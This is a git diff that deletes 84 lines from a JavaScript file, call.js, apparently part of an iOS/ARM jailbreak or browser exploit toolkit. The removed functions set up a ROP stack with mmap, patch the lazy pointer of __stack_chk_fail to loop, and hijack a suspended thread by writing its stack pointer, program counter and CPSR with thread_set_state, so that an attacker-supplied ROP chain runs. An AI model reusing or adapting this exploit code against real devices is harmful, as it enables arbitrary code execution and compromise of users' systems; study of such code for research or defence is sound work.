summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--src/js/primitives/call.js84
1 files changed, 0 insertions, 84 deletions
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index 74a20d8..6d4ced6 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -330,88 +330,4 @@ function scall() {
}
return call4arg.apply(this, args_to_pass);
}
-}
-
-function rop_init() {
- stack_shit_rop = scall("mmap", 0, 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
-}
-
-function exec_rop(buf) {
- /*
- * setup ptrs
- */
- write_u32(countptr, count);
- write_u32(thptr, th);
- write_u32(threadptr, thread);
- write_u32(thread_stateptr, thread_state);
-
- write_u32(countptrptr, countptr);
- write_u32(thptrptr, thptr);
- write_u32(threadptrptr, threadptr);
- write_u32(thread_stateptrptr, thread_stateptr);
-
- var dyld_shc_slide = get_dyld_shc_slide();
-
- /*
- * make __stack_chk_fail infinite loop
- * (works by setting its lazy addy to its resolver, thus the resolver just
- * endlessly jumps to iself)
- */
- write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide);
-
- if (stack_shit_rop == 0) {
- rop_init();
- }
-
- calls4arg("printf", sptr("%x %x\n"), 0, stack_shit_rop, 0);
-
- /*
- * if the thread doesn't exist, create it.
- */
- calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
- thread = read_u32(threadptr);
- write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
- rth = read_u32(th);
- calls4arg("thread_suspend", rth, 0, 0, 0);
-
- if (pthread_ret == 0) {
- pthread_ret = malloc(4);
- }
-
- write_u32_buf(stack_shit_rop + 0x3c, buf, buf.length * 4);
-
- /*
-
- var stack_shit_ret_offset = 0x58;
-
- write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide);
- */
-
- /*
- * stack
- */
- write_u32(thread_state + (13 << 2), stack_shit_rop);
-
- /*
- * pc
- */
- write_u32(thread_state + (15 << 2), add_sp_0x3c + dyld_shc_slide);
-
- /*
- * cpsr, magic
- */
- write_u32(thread_state + (16 << 2), 0x40000020);
-
- printf("actually doing it\n");
-
- /*
- * set the state
- */
- calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
- calls4arg("thread_resume", rth, 0, 0, 0);
-
- calls4arg("pthread_join", thread, pthread_ret, 0, 0);
- write_u32(count, 17);
- calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
- return read_u32(pthread_ret);
} \ No newline at end of file